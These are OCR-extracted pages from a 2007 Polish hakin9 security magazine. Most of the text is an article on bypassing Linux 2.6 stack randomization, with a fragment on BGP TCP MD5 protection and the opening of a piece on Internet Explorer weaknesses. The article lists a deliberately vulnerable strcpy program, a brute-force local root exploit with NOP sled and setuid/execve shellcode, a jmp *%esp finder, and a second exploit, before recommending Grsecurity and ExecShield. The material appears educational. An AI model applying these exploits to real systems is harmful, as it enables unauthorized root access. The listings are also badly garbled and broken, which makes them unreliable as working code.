rał dodatkową opcję pod nagłów-
kiem TCP. Opcja zawiera sumę kon-
trolną MD5 dla wybranych elemen-
tów nagłówka TCP oraz ustalonego
wcześniej klucza znanego dla obu
stron połączenia. Bez znajomości
klucza jest praktycznie niemożliwe
zbudowanie pakietu, który przerwie
takie połączenie. Większość komer-

cyjnych rozwiązań wspiera obsłu-
gę podpisu MD5 w pakietach TCP
sesji BGP. W przypadku systemów
open source takich jak Linux, więk-
sze bezpieczeństwo będzie nieste-
ty wymagało większego wysiłku po-
przez instalację dodatkowego opro-
gramowania.

Podsumowanie

Zagrożenie atakiem tego rodzaju na-
prawdę istnieje. Praktyczna część
artykułu miała za zadanie pokazać,
że słabość protokołu może wykorzy-
stać każdy, kto dysponuje odpowied-
nią wiedzą i nadmiarem czasu. Wiele
osób jest zdania, że zagrożenie jest
niewielkie. Jednak w przyszłości mo-
że powstać robak internetowy z po-
wodzeniem wykorzystujący opisaną
metodę do zakłócania komunikacji
w Internecie.

Robaki mają niewątpliwą możli-

wość przeprowadzenia rozproszo-
nego działania z wielu miejsc jedno-
cześnie, co uczyni atak jeszcze bar-
dziej skutecznym. Można wiele zro-
bić, aby zapobiec temu scenariu-
szowi. Tworzenie wydajnych i jed-
nocześnie bezpiecznych implemen-
tacji stosu TCP jest dobrym rozwią-
zaniem. l

O autorze

Zajmuje się bezpieczeństwem sieci
i systemów komputerowych. Czasami
bawi się w programistę tworząc coś,
co ma być przydatne, ale różnie z tym
bywa. Na co dzień student drugiego
roku informatyki.
Kontakt z autorem: elceef@itsec.pl

www.hakin9.org

hakin9 Nr 2/2007

Obrona

ersja 2.6 linuxowego kernela po-
siada wbudowane zabezpieczenie,
które chroni system przed exploita-

mi opartymi na przepełnieniu buforu: początek
stosu każdego procesu jest mieszany. Ozna-
cza to, że przy każdorazowym uruchomieniu
aplikacji, początkowy stos posiada losowy ad-
res z zakresu 8MB. Dzięki temu, exploity ba-
zujące na oczekiwaniu znalezienia ShellCo-
de'u zawsze pod tym samym adresem, nie są
efektywne. ShellCode, zazwyczaj obecny we-
wnątrz buforu lub wewnątrz zmiennej środowi-
skowej, będzie posiadał inną pozycję przy każ-
dym uruchomieniu aplikacji. W tym artykule ob-
jaśnię, jak łatwo można obejść to zabezpiecze-
nie używając dwóch różnych technik. Pierw-
sza zakłada atack typu bruteforce w poszuki-
waniu adresu ShellCode'u, co owocuje uzyska-
niem dostępu root do shella w ciągu kilku prób.
Drugi sposób polega na przekierowaniu proce-
su wykonania aplikacji do konkretnego opcode-
'u (ang. Operation Code) i jest stosowany za-
zwyczaj w exploitach systemu Windows.

Podatna na atak aplikacja

Program podatny na atak, do którego będzie-
my stosować exploity to vuln1.c, przedstawiony

na Listingu 1. Jak widzimy, bufor 32 bajtów jest
zadeklarowany i są do niego kopiowane pew-
ne dane, bez sprawdzania ich wielkości. Kon-
sekwencją tego może być przepełnienie bu-
fora, co umożliwia nadpisanie stosu. Naszym
systemem testowym jest Fedora 4 z kernelem
2.6.14.4 vanilla.

Szukamy adresu

metodą bruteforce

Pierwszym problemem związanym z mechani-
zmem ochronnym w linuxowym kernelu 2.6 jest

Jak ominąć zabezpieczenie

mieszania stosu w kernelu

2.6?

Enrico Feresin

stopień trudności

W dzisiejszych czasach co kilka dni słyszy się o wykryciu błędów

w aplikacjach, przez co dochodzi do przepełniania buforu. Ta

sytuacja spowodowała konieczność opracowania nowych metod

ochrony, które mogą wspomóc zabezpieczenia i stabilność

systemu, niezależnie od występowania podatności na expoity w

zainstalowanym oprogramowaniu.

Z artykułu dowiesz się…

• Dowiesz się, jak ominąć zapezpieczenie mie-

szania stosu w linuxowym kernelu 2.6, by móc
zastosować exploit oparty na przepełnieniu sto-
su.

Powinieneś wiedzieć…

• Przydatna będzie znajomość języka C,
• Przydatna okaże się także wiedza na temat

technik exploitowania aplikacji w oparciu o bu-
for

Przepełnianie buforu w kernelu 2.6

hakin9 Nr 2/2007

www.hakin9.org

zbyt mała wielkość, jaką dysponu-
jemy w przypadku losowania pierw-
szego adresu stosu. Zakres możli-
wych adresów, w których możemy
znaleźć stos, to jedynie 8MB. Tym

samym, jeśli umieścimy dużą liczbę
komend pustych (ang. NOPs) zaraz
przed ShellCodem, możemy zwięk-
szyć prawdopodobieństwo natrafie-
nia na adres do tego stopnia, że kil-

kukrotny atak metodą bruteforce po-
zwoli nam uzyskać dostęp do shella
jako root. Ta metoda daje się oczywi-
ście zastosować jedynie w przypad-
ku ataku lokalnego.

Przyjrzyjmy się kodowi aplika-

cji bruteforce-exp.c zamieszczone-
mu na Listingu 2a oraz 2b. Kod ten
zawiera exploit, który wykorzystu-
je lukę w naszej aplikacji, by zmie-
nić rekord aktywujący (ang. acti-

vation record) funkcję, powodując
zmianę sekwencji wykonywania po-
leceń (ang. execution flow). Para-
metr przekazywany do naszej po-
datnej na atak aplikacji ma 64 baj-
ty, jest on kopiowany na 32-bajto-
wy bufor, powodując zmiany w są-
siadujących jednostkach pamięci.
ShellCode jest zaimplementowa-
ny wewnątrz zmiennej środowisko-
wej i jest poprzedzony 128.000 ko-
mend NOP. Tym sposobem, komen-
dy NOP oraz ShellCode pokrywają
około 1/65 zakresu przydzielonego
na adres stosu. W przypadku pro-
blemów z wykonywaniem testu, su-
geruję zmniejszenie ilości komend
NOP, pamiętając, by nie przesadzić.
Istotnie, im bardziej zmniejszymy
ilość komend NOP, tym więcej prób
będzie potrzebnych, by sukcesyw-
nie przeprowadzić operację brute-
force. Wartość użyta do modyfikacji
rekordu aktywującego jest obliczo-
na w taki sposób, by maksymalnie
wydłużyć czas, który zyskamy wy-
konywując komendy NOP. Musi-
my wziąć największy możliwy ad-
res stosu (0xc0000000) i odjąć od
niego rozmiar elementów stojących
zaraz za początkiem stosu oraz
zmiennej środowiskowej zawiera-
jącej ShellCode, która znajdzie się
zaraz za nimi.

Na Rysunku 2. zakolorowa-

ny obszar reprezentuje zakres 8
MB pamięci, w którym powinniśmy
znaleźć początek stosu. Czerwo-
ny kolor reprezentuje obszar zaj-
mowany przez exploit, zaś żółty to
niezajęta sekcja. Jeśli adres górne-
go stosu elementu stosu jest we-
wnątrz żółtego obszaru, aplikacja
zakończy się z błędem Segmenta-

tion Fault, ponieważ sekwencja wy-
konywania poleceń zostanie prze-

Listing 1.

Vuln.c

/*
* __ ___ _
* / \ | \ | | /\---------------------------------------------------->
* / /\ \| |\ \| |/ /
* / /__\ \ /| /
* \______/ |\ \| | \
*<--------|_| \_\_|\_\
*
* Program podatny na przepełnienie buforu
*
*/

#include

<string.h>

main

(

int

argc

char

argv

[])

{

char

buffer

[

];

strcpy

(

buffer

argv

[

]);

}

libShellCode

Stworzenie ShellCode'u do użycia w exploicie może osobom nie znającym ję-
zyka assembler przysporzyć wiele trudności. Ci, którzy nie chcą tracić cza-
su, a zależy im na szybkim stworzeniu exploita, mogą wykorzystać libShell-
Code. LibShellCode to biblioteka Open Source, którą stworzyłem, pozwalają-
ca na tworzenie ShellCode'u „w locie“, przy określeniu odpowiednich parame-
trów. Zaimplementowane API pozwala na tworzenie różnych typów ShellCode-
'ów dla Linuxa i BSD. libShellCode może być użyty w dwojaki sposób: może
zostać wkomponowany do exploita jako biblioteka, lub może służyć do genera-
cji kodu, który następnie łatwo włączymy do exploita. W pierwszym przypad-
ku, API biblioteki jest dostępne wewnątrz kodu exploita, dzięki czemu nasza
aplikacja staje się bardzo elastyczna. Rysunek 1. pokazuje front-end aplika-
cji LibShellCode, którą możemy pobrać z adresu http://www.orkspace.net/
software/libShellCode

Rysunek 1.

Jak skompilować podatny na atak program

hakin9 Nr 2/2007

www.hakin9.org

Obrona

kierowana do obszaru pamięci za-
wierającego kod niewykonywalny.
W przypadku, gdy początek sto-
su jest wewnątrz czerwonej sek-
cji, sekwencja wykonywania po-
leceń zostanie przekierowana na
komendy NOP i zostanie wykona-
ny ShellCode. Małe objaśnienie do
załączonego ShellCode'u: kod uży-
ty do wykonania operacji brutefor-
ce wykonuje

fork()

używając pro-

cesu potomnego w celu przepro-
wadzenia próby exploitu na podat-
nej aplikacji, oraz procesu rodzica,
by sprawdzić rezultat. Jeśli explo-
it zadziała, proces potomny roz-
pocznie proces shella jako root, nie
mając konsoli jako standardowego
wejścia. To spowoduje natychmia-
stowe zamknięcie shella. By omi-
nąć ten problem, ShellCode musi

zamknąć standardowe wejście bę-
dące deskryptorem pliku (ang. Fi-

le descriptor), zmieniając jego war-
tość na 0, a następnie otworzyć na-
rzędzie /dev/tty, które posłuży nam
do do wczytywania wejścia z kon-
soli przed wykonaniem komendy
shellowej.

Przekierowanie

na jmp *%esp

Istnieje technika omijania zabez-
pieczenia oferowanego przez ker-
nel 2.6 w bardziej elegancki sposób,
niż przedstawiony powyżej, bez ko-
niecznej znajomości adresu Shell-
Code.

Ta technika, oryginalnie opraco-

wana dla Windowsowych exploitów,
polega na nadpisaniu rekordu ak-
tywującego adresem instrukcji

jmp

*%esp

, która jest już obecna w pamię-

ci podatnego na atak programu. Nie
ma znaczenia, w którym segmencie
pamięci jest przechowywana instruk-
cja, i tak będzie ona posiadać atry-
buty wykonywania.

Czytelnicy mniej obeznani w ję-

zyku assembler niech wiedzą, że
ta instrukcja wykonuje skok do adre-
su zapisanego w rejestrze

%esp

(co

wskazuje na początek stosu). W cza-
sie przekierowania sekwencji wyko-
nywania poleceń, wartość tego re-
jestru jest znana i wskazuje na na-
stępny adres po pozycji rekordu ak-
tywującego w stosie. To wystarczy,
by umieścić ShellCode pod tym ad-
resem, uruchamiając proces rooto-
wy shella.

Rysunek 3. pokazuje, jak musi

być zbudowany bufor, który przeka-
żemy do podatnego na atak progra-
mu, by exploit zadziałał poprawnie.
Pierwsza część (niebieska) jest
używana jedynie po to, by wypełnić
bufor aż do rekordu aktywującego.
Czerwona sekcja nadpisuje rekord
aktywujący adresem instrukcji

jmp

*esp

, zaś żółta symbolizuje Shell-

Code. Po przekazaniu takiego bu-
foru do podatnej na atak aplikacji,
sytuacja stosu po kopiowaniu bę-
dzie taka, jak na Rysunku 4. Pierw-
sza z dwóch reprezentacji pokazu-
je sytuację stosu na końcu funk-
cji

main()

, przed wykonaniem in-

strukcji

RET

. Zwróćmy uwagę, że re-

jestr

%esp

wskazuje na adres punk-

tu aktywującego. Wykonanie in-
strukcji

RET

powoduje, że element

na szczycie stosu jest kopiowany
do rejestru

%eip

(który zawiera ad-

res kolejnej instrukcji, którą nale-
ży wykonać). Następnie wskaźnik
na szczycie stosu (

%esp

) jest zwięk-

szany, jak pokazano na Rysunku 4.
Wykonanie instrukcji

jmp *%esp

po-

woduje wykonanie naszego Shell-
Code'u.

By utworzenie exploita powio-

dło się, niezbędny jest jeszcze je-
den element, który wymaga osob-
nego omówienia. Musimy wiedzieć,
jak sprawdzić, czy instrukcja

jmp

*%esp

istnieje w obszarze adresu

procesu, i – jeśli istnieje – jaki zaj-
muje adres. Miejmy na uwadze, że

Rysunek 2.

Reprezentacja amplitudy operacji losowania adresu stosu

Stack

Aktywny rekord

0xC0000000

8 MB

Niskie adresy pamięci

Rysunek 3.

Struktura bufora użytego w drugim exploicie

ShellCode

Rysunek 4.

Struktura stosu po operacji nadpisania

AR Schell Code

ESP

Przed wykonaniem instrukcji RET

Po wykonaniu instrukcji RET

Przepełnianie buforu w kernelu 2.6

hakin9 Nr 2/2007

www.hakin9.org

instrukcja ta musi posiadać okre-
ślony adres, który nie będzie zmie-
niał się przy kolejnych wykona-
niach poleceń (tym samym, nie mo-
że ona być umieszczona wewnątrz
stosu lub w innej sekcji pamięci ze
zmienną adresową). Jedne z odpo-
wiednich sekcji, od których nale-
ży rozpocząć poszukiwania, to kod
wykonujący program lub dynamicz-
ne biblioteki. Jednak w kernelu 2.6,
najlepszym segmentem pamięci, w
którym należy poszukiwać instruk-
cji, jest ten, który zawiera Linux-ga-

te.so. Jest to tzw. DSO (Dynamicz-
nie Udostępniany Obiekt, ang. Dy-

namically Shared Object), używany
do przyspieszania wywołań syste-
mowych (ang. System Calls). Naj-
bardziej interesującym nas aspek-
tem tego obiektu jest fakt, że jest
zmapowany (zlokalizowany) za-
wsze na tym samym adresie, dla
każdego procesu. Tym samym, je-
śli istrukcja, której poszukujemy ist-
nieje, będzie na tym samym adre-
sie w każdym procesie systemo-
wym.

Aplikacja find-jmp-esp.c, wi-

doczna na Listingu 3, poszukuje
instrukcji

jmp *%esp

wewnątrz seg-

mentu pamięci Linux-gate.so (który
jest zmapowany między adresem
0xffffe000, a adresem 0xfffff000).
Przeszukiwanie odbywa się w bar-
dzo prosty sposób. Ponieważ opco-

de (np. binarna reprezentacja) in-
strukcji składa się z dwóch bajtów
0xff 0xe4, bez problemu znajdzie-
my w pamięci obszar, w którym wy-
stępuje sekwencja tych dwóch baj-
tów.

Teraz, gdy mamy już wszyst-

kie niezbędne elementy, możemy
stworzyć exploit. Spójrzmy na pro-
gram exp2.c pokazany na Listingu
4a i 4b. Najpierw znajdujemy adres
instrukcji

jmp *%esp

wewnątrz sekcji

Linux-gate.so. Następnie, tworzony
jest bufor, jak pokazaliśmy wcze-
śniej. Pierwsza część buforu (nie-
bieska na Rysunku 3.) ma 36 baj-
tów. Rozmiar ten może być różny w
zależności od użytego kompilatora,
dlatego może być inny w przypad-
ku Twoich testów. By poznać odpo-
wiednią wartość, należy przeana-

Listing 2a.

Bruteforce-exp.c

/*
* __ ___ _
* / \ | \ | | /\---------------------------------------------------->
* / /\ \| |\ \| |/ /
* / /__\ \ /| /
* \______/ |\ \| | \
*<--------|_| \_\_|\_\
*
* Ten kod exploituje program podatny na atak – vuln.c
* na systemie Linux z kernelem 2.6 vanulla. Zabezpieczenie losujące adres

stosu

* jest łamane przez atak bruteforce.
*
*/

#include

<stdio.h>

#include

<string.h>

#include

<stdlib.h>

#include

<unistd.h>

define

VULN_PROG

"./vuln"

#define BUFF_LEN 64
#define ENV_LEN 128000
#define NOP 0x90
#define RET (0xc0000000 - strlen(VULN_PROG) - 4 - ENV_LEN)

char

shellcode

[]=

// close(0) open("/dev/tty")

2f"

80"

// setuid(0)

80"

// execve("/bin/sh")

0b"

62"

68"

;

main

()

{

char

buff

[

BUFF_LEN

];

char

env_var

[

ENV_LEN

];

char

env

[

]

{

env_var

NULL

}

;

int

pid

;

// Wypełnij zmienną środowiskową ShellCodem poprzedzonym komendami NOP

memset

(

env_var

NOP

ENV_LEN

);

memcpy

(

env_var

ENV_LEN

strlen

(

shellcode

)

shellcode

strlen

(

shellcode

));

env_var

[

ENV_LEN

]

;

// Wypełnij bufor adresem, w którym mamy nadzieję znaleźć komendy NOP

(

int

buff

;

for

(

;

BUFF_LEN

;

)

{

RET

;

++;

}

;

// Rozpoczynamy atak bruteforce

printf

(

"Starting Bruteforce:

);

;

// Pętla, trwająca póki proces potomny nie zwróci kodu wyjścia = 0

while

(

)

{

pid

fork

();

(

pid

)

{

// Proces rodzica

// Oczekuje na koniec procesu potomnego, by odczytać kod wyjścia

printf

(

"."

);

hakin9 Nr 2/2007

www.hakin9.org

Obrona

lizować kod assemblera dla funk-
cji

main()

Jak podnieść poziom

zabezpieczeń?

To oczywiste, że zabezpieczenia
oferowane przez kernel 2.6 vanil-
la nie są wystarczające, by sys-
tem uznać za bezpieczny, nieza-
leżnie od jakości zainstalowanego
software'u. By zagwarantować wy-
soki poziom bezpieczeństwa syste-
mu, nawet przeciwko nowopowsta-
łym exploitom (ang. 0-day explo-

its), np. kodom wykorzystującym
luki nie znane jeszcze publicznie,
należy zaimplementować dodatko-
we zabezpieczenia. Wystarczy je-
den wpis w internetowej wyszuki-
warce, aby dojść do wniosku, że
takie zabezpieczenia już istnieją,
i mogą zostać podzielone na dwie
grupy. Pierwszy typ, to rozszerze-
nia do kompilatorów: w tym wypad-
ku cały software w systemie musi
zostać przekompilowany, by kry-
tyczne zabezpieczenia zostały za-
implementowane do kodu każdej
z aplikacji. Drugi typ zabezpiecze-
nia, to łatka (ang. patch) do kerne-
la i wymaga jedynie jego rekompila-
cji. Ten typ zabezpieczenia jest nie-
wątpliwie szybszy w implementacji
i pewniejszy.

Warto rozważyć dwa z tych

zabezpieczeń, które są z pewno-
ścią najbardziej efektywne. Pierw-
sze z nich, to ExecShield, stworzo-
ne przez Red Hat i już obecne we
wszystkich nowych wersjach dys-
trybucji opartych na systemie Red
Hat (Red Hat Enterprise Linux i Fe-
dora). Drugie z narzędzi nosi na-
zwę Grsecurity. Obydwie aplikacje
modyfikują jądro Linuxa, dodając
zabezpieczenia. Mimo, że narzę-
dzia te różnią się, wykorzystują w
znacznej mierze podobne techniki
ochrony przed exploitowaniem po-
datnych programów:

• uniemożliwiają wykonywanie ko-

du z obszarów pamięci, w któ-
rych powinny być obecne je-
dynie dane (stosy, sterty (ang.

heaps), BSSy oraz .data) na-
wet w systemach, które nie ofe-

rują wsparcia hardware'owego
do wykonywania operacji bito-
wych. Tym sposobem, niemoż-

liwe jest wykonanie kodu Shell-
Code w formie pokazanej w ar-
tykule, bowiem opierają się one

Listing 2b.

Bruteforce-exp.c

fflush

(

stdout

);

waitpid

(

pid

);

}

else

{

// Proces potomny

// Uruchamia program podatny na atak i próbuje zastosować exploit.

// Jeśli exploit działa przy zakańczaniu procesu, zwrócony zostaje

kod wyjścia = 0.

// W innym przypadku, kod ma inną wartość.

execle

(

VULN_PROG

buff

NULL

env

);

exit

(

);

}

Listing 3.

find-jmp-esp.c

/*
* __ ___ _
* / \ | \ | | /\---------------------------------------------------->
* / /\ \| |\ \| |/ /
* / /__\ \ /| /
* \______/ |\ \| | \
*<--------|_| \_\_|\_\
*
* To narzędzie poszukuje instrukcji jmp *%esp wewnątrz sekcji linux-gate.so
*
*/

#define START 0xffffe000
#define END 0xfffff000
#define B1 0xff
#define B2 0xe4

#include

<stdio.h>

main

()

{

char

;

printf

(

"Szukam instrukcji jmp *%esp w pamięci:

);

(

char

START

;

while

(

char

END

)

{

((

[

]

(

char

)

(

[

]

(

char

)

))

{

printf

(

"ADDRESS = %p

);

}

++;

}

Przepełnianie buforu w kernelu 2.6

hakin9 Nr 2/2007

www.hakin9.org

na umieszczeniu kodu wewnątrz
stosu i przekierowaniu sekwen-
cji wykonywania poleceń na ten
stos. Ponieważ zabezpiecze-
nie uniemożliwia wykonanie ko-
du znajdującego się w tych par-
tiach pamięci, jądro zatrzymuje
proces, zwracając błąd,

• losowo generują adres począt-

kowy dynamicznych bibliotek.
Dzięki temu, nie jest możliwe
przekierowanie sekwencji wy-
konywania do funkcji bibliotecz-
nych (np.

system()

), ponieważ

podczas wykonywania podatnej
na atak aplikacji, ich adres się
zmienia,

• losowo generują adres począt-

kowy wykonywalnego kodu. W
pewnych przypadkach, by suk-
cesywnie wykorzystać lukę w
programie na wykonanie explo-
ita, możliwe jest przekierowanie
sekwencji wykonywania poleceń

Listing 4a.

Exp2.c

/*
* __ ___ _
* / \ | \ | | /\---------------------------------------------------->
* / /\ \| |\ \| |/ /
* / /__\ \ /| /
* \______/ |\ \| | \
*<--------|_| \_\_|\_\
*
* Ten kod exploituje podatność na atak przez przepełnienie buforu pliku

vuln.c na systemie

* Linux z kernelem 2.6 vanilla. Zabezpieczenie losowania adresu stosu jest

złamane dzięki

* przekierowaniu wykonań do instrukcji jmp *%esp.
*
*/

#include

<stdio.h>

#include

<string.h>

#include

<unistd.h>

define

VULN_PROG

"./vuln"

#define BUFF_LEN 256
#define BUFF_OVER 36
#define START 0xffffe000
#define END 0xfffff000
#define B1 0xff
#define B2 0xe4

char

shellcode

[]=

// setuid(0)

80"

// execve("/bin/sh")

0b"

62"

68"

;

char

find_jmp_esp

()

{

char

;

printf

(

"Szukam instrukcji jmp *%esp wewnątrz pamięci... "

);

(

char

START

;

while

(

char

END

)

{

((

[

]

(

char

)

(

[

]

(

char

)

))

{

printf

(

"found at address %p

\n\n

);

return

;

}

++;

}

printf

(

"Instrukcji nie znaleziono, exploit nie może zostać zastosowany!

n\n

);

return

(

char

;

}

main

()

{

char

buff

[

BUFF_LEN

];

int

ret

;

// Znajdujemy adres instrukcji jmp *%esp

ret

(

int

)

find_jmp_esp

();

(

ret

)

return

;

// Wypełnij pierwszą część buforu

memset

(

buff

, 'a',

BUFF_OVER

);

// Nadpisz rekord aktywujący adresem instrukcji jmp *%esp.

(

int

(

buff

BUFF_OVER

);

ret

;

O Autorze

Enrico Feresin ma stopień Informaty-
ka i pracuje od wielu lat w obszarze
zabezpieczeń IT. Jest autorem książ-
ki Linux vulnerabilities. Practical gu-
ide through explointing techniques,
opublikowanej we Włoszech pod ko-
niec 2005 roku. Obecnie pracuje dla
dużej firmy ICT.

W Sieci

• h t t p : / / w w w . p h r a c k . o r g/

show.php?p=49&a=14 – Modyfi-
kacja stosów dla zabawy i zysku,
klasyczny artykuł stanowiący wpro-
wadzenie do przepełnień buforów,

• http://www.orkspace.net/software/

libShellCode – oficjalna witryna lib-
ShellCode,

• http://packetstormsecurity.org/

papers/unix/asmcodes-1.0.2.pdf
- UNIX Assembly Codes Develop-
ment for Vulnerabilities Illustration
Purposes, artykuł, opisujący jak
stworzyć ShellCode,

• http://www.grsecurity.net – oficjal-

na strona Grsecurity,

• http://www.kernel.org – oficjalne

archiwum The Linux Kernel.

hakin9 Nr 2/2007

www.hakin9.org

Obrona

do kodu już obecnego wewnątrz
aplikacji. Ponieważ adres kodu
zmienia się podczas każdego
uruchomienia procesu, nie jest
już możliwe odgórne ustalenie
odpowiedniego adresu do prze-
kierowania,

• losowo generują adres początko-

wy stosu. Niektóre exploity uży-
waja stosów do przetrzymywania

danych, których będą potrzebo-
wać później, wiedząc, że adres
danych jest łatwy do odgadnię-
cia. Dzięki losowej generacji po-
czątkowych adresów stosu, nie
jest to już możliwe,

• losowo generują adres począt-

kowy stert. Podobnie, jak w przy-
padku stosów, tak w przypadku
stert, możliwe jest przetrzymy-

wanie pewnych danych pomoc-
nych exploitowi w późniejszym
działaniu. Tworząc trudny do
odgadnięcia adres dla tych da-
nych upewniamy się, że pamięć
nie zostanie wykorzystana w taki
sposób.

Jednoczesne użycie powyższych
technik zabezpieczających (które
nie są jedynymi dostępnymi, jed-
nak to one grają kluczową rolę) ofe-
ruje wysoki poziom bezpieczeń-
stwa. Korzystanie z błędów, czy luk
w systemie (jak przepełnienie bufo-
ra, błędne formaty ciągów itp.), sta-
je się niezmiernie trudne, o ile nie
niemożliwe.

Czytelnicy chcący skorzystać z

ExecShield, będą musieli zainsta-
lować dystrybucję Linuxa opartą na
Red Hat (Red Hat Enterprise lub Fe-
dora).

Jeżeli chcemy natomiast spraw-

dzić działanie Grsecurity, będziemy
musieli zainstalować patch do źró-
deł kernela i przekompilować go.
Po pobraniu źródeł kernela z wi-
tryny http://www.kernel.org oraz
patcha Grsecurity ze strony http:

//www.grsecurity.net, podążaj za in-
strukcjami przedstawionymi na Li-
stingu 5. Upewnij się, że pobierasz
wersję patcha odpowiednią dla wer-
sji Twojego jądra. W naszym przy-
padku, kernela 2.6.14.6, pobieramy
patch 2.1.8.

Po zakończeniu wykonywa-

nia instrukcji widocznych na Listin-
gu 5, będziemy musieli skonfiguro-
wać jądro, by aktywować Grsecuri-
ty. Rysunek 5 pokazuje panel kon-
figuracyjny jądra w sekcji Securi-

ty options. Po wybraniu podme-
nu Grsecurity, a następnie Secu-

rity Level, będziemy mogli ustawić
poziom zabezpieczeń, jaki chcemy
aktywować na naszym systemie.
Bardziej zaawansowani użytkowni-
cy mogą wybrać opcję custom le-

vel i określić wszystkie parametry
zabezpieczeń ręcznie. Po wprowa-
dzeniu zmian powinniśmy zrekom-
pilować jądro i uruchomić ponow-
nie system. l

Listing 4b.

Exp2.c

// Zniszcz bufor.

++;

;

// Wprowadź ShellCode.

memcpy

(

shellcode

strlen

(

shellcode

));

// Uruchom podatny na atak program.

printf

(

"Próbuję uzyskać shella jako root...

);

execle

(

VULN_PROG

buff

NULL

);

}

Listing 5.

Instrukcje instalacji Grsecurity w źródłach jądra

# tar xfj linux-2.6.14.6.tar.bz2
# mv linux-2.6.14.6 linux-2.6.14.6-grsec

# gunzip grsecurity-2.1.8-2.6.14.6-200601211647.patch.gz

# cd linux-2.6.14.6-grsec
#

patch

../

grsecurity

2.1

2.6

14.6

200601211647.

patch

Rysunek 5.

Konfiguracja Grsecurity

www.hakin9.org

hakin9 Nr 2/2007

Atak

a początek warto wspomnieć o tym
co działo się do tej pory z obecnym
synonimem internetu, bo to wcale nie

od niego się zaczęło. Zaczęło się bowiem od
przeglądarki WorldWideWeb (Rysunek 1.)
napisanej około roku 1990, oraz Silversmith,
której niektóre z funkcji do tej pory nie zosta-
ły zaimplementowane w żadnej z obecnych
przeglądarek. Przed spopularyzowaniem IE
triumfy święciły także ViolaWWW i NCSA
Mosaic, która w pewien sposób przekształci-
ła się ostatecznie w legendarnego Netscape
Navigatora. To właśnie Netscape Navigator
dał początek Mozilli, która powstała na ba-
zie jego silnika.

Poprzez podzielenie Mozilli i wyodrębnie-

nie jedynie przeglądarki WWW stworzono Fi-
refoxa, który wydaje się być obecnie najwięk-
szym konkurentem IE. Ponieważ zauważy-
łem, że coraz więcej młodych ludzi nie ko-
jarzy przyczyn sukcesu przeglądarki Micro-
softu, kojarząc za to, że nie był on pierwszą
przeglądarką i nie zawsze był przeglądarką
najpopularniejszą, muszę powiedzieć jed-
ną rzecz. Sukces IE jednoznacznie kojarzo-
ny jest z sukcesem systemu Windows. Sta-
tystyki jednoznacznie pokazują, że popular-

ność przeglądarki rosła z popularnością sys-
temu z Redmond.

Największy skok odnotowuje się tu przy

Windows95 z którym to przeglądarka zosta-
ła zintegrowana. Można tu jeszcze wspo-
mnieć o głośnych procesach w stanach od-
nośnie stopnia integracji IE z Windows 98 i o
tym, że proces dotyczył niemożności usunię-
cia przeglądarki z systemu tak jak normal-
nych programów. To tyle w kwestii wyjaśnie-
nia i wstępu.

Hakownie Internet Explorer

Krzysztof Kozłowski

stopień trudności

Jedno z pytań, które z biegu zostaną przez czytelników Hakin9u

zaliczone do grupy retorycznych, jest pytanie o to która z

przeglądarek jest przeglądarką najdelikatniejszą.

I choć powiedzenie „wszystko co piękne jest delikatne” do

niedawna nie miało zupełnie żadnego odniesienia w stosunku do

najpopularniejszej przeglądarki na świecie, dziś to się zmienia.

Z artykułu dowiesz się...

• o zagrożenieniach IE 7,
• w jaki sposób omijać zagrożenia w Internet

Explorer 7,

• o przejmowaniu kontroli nad filtrem krytycznych

wyjątków.

Powinieneś wiedzieć...

• powinieneś posiadać podstawową wiedzę na

temat zagrożeń płynących z Internetu,

• powinieneś posiadać wiedzę o postawowych

systemach zabespieczeń w Internecie.

Hakowanie Internet Explorer

hakin9 Nr 2/2007

www.hakin9.org

Teoria

Internet Explorer 3 był pierwszą z po-
pularnych przeglądarek obsługują-
cych CSS, ze wsparciem dla ActiveX,
apletów Javy. To dało mu przewagę
nad Netscape Navigatorem.

Przeglądarka używa zone-based

security framework co sprowadza
się do grupowania stron wg. pew-
nych kryteriów. W zamierzeniach
ma to zapobiegać wykonywaniu się
niepożądanych funkcji (Rysunek 8).
Aplikacja monitoruje każde żądanie
instalacji dzięki czemu dopóki użyt-
kownik nie potwierdzi źródła jako
bezpiecznego, system będzie moni-
tował żądaniem potwierdzenia.

W Windows Vista IE7 posiada

tryb chroniony - Protected Mode, w
trybie tym, przeglądarka działa nawet
z mniejszymi prawami niż użytkow-
nik, który ją uruchomił. Przeglądarka
ma wówczas dostęp tylko do katalogu
Temporary Internet Files, nie może in-
stalować żadnego oprogramowania,
ani zmieniać konfiguracji bez porozu-
mienia z odpowiednim procesem sys-
temowym (broker process).

Delikatność Internet Explorera

została uznana dzięki dużej ilości
spyware, adware, czy wirusów wyko-
rzystujących IE jako furtkę do syste-
mu. Czasem wystarczyło odwiedzić
specjalnie przygotowaną stronę by
umożliwić instalację złośliwej apli-

kacji (Rysunek 8). Po stronie złośli-
wego oprogramowania stała także
postawa Microsoftu, bardzo wolno
reagującego na zgłaszane dziury
bezpieczeństwa. Znacznie wolniej niż
konkurencja. Wykorzystywane było
to przez rzesze script kiddies oraz
całkiem dojrzałych programistów im-
plementujących złośliwe oprogramo-
wanie w większych aplikacjach.

Przykładem niech będą tutaj ba-

zy danych na temat bezpieczeństwa.
Według Secunii od 28 maja tego roku
na 104 dziury w Internet Explorerze

19 wciąż pozostaje niezałatanych.
Wśród nich większość oznaczona
jest jako ekstremalnie krytyczne. Dla
porównania, największy konkurent IE
- Mozilla Firefox, w tym czasie miał
zgłoszonych 36 dziur. Trzy wciąż po-
zostają niezałatane, a ich oznaczenie
to najmniej krytyczne. Inny konkurent
IE – czyli Opera ma jedną zgłoszo-
ną dziurę, która jest załatana. Nie ma
żadnych niezałatanych dziur. W ma-
ju 2006, magazyn PC World ozna-
czył Internet Explorera 6 jako naj-
gorszy produkt wszech czasów. Zna-
ny jest także fakt braku wsparcia dla
standardów, co znacznie utrudnia pi-
sanie aplikacji webowych kompaty-
bilnych z IE i innymi przeglądarkami.
Problemem dla programistów MS by-
ło nawet dodanie dobrego wsparcia
dla formatu .png. Do tej pory IE pozo-
stawiał także wiele do życzenia pod
względem prędkości.

Szczegóły

Istnieje wiele znaczących słabości
i dziur w technologiach zaimple-
mentowanych w Internet Explorerze,
a mających związek z modelem do-
men i stref bezpieczeństwa, lokalnego
systemu plików (Local Machine Zone),
dynamicznego HTML (DHTML), stron
pomocy w HTML, rozpoznawania ty-
pów MIME, interfejsem użytkownika
(GUI), oraz ActiveX. Z uwagi na fakt,
że IE jest mocno zintegrowany z Win-

Rysunek 1.

Pierwsza przeglądarka - World Wide Web

Rysunek 2.

IE przygotowany przez MS dla Unixa

hakin9 Nr 2/2007

www.hakin9.org

Atak

dows, często udany atak na przeglą-
darkę prowadzi do uzyskania dostępu
do systemu operacyjnego.

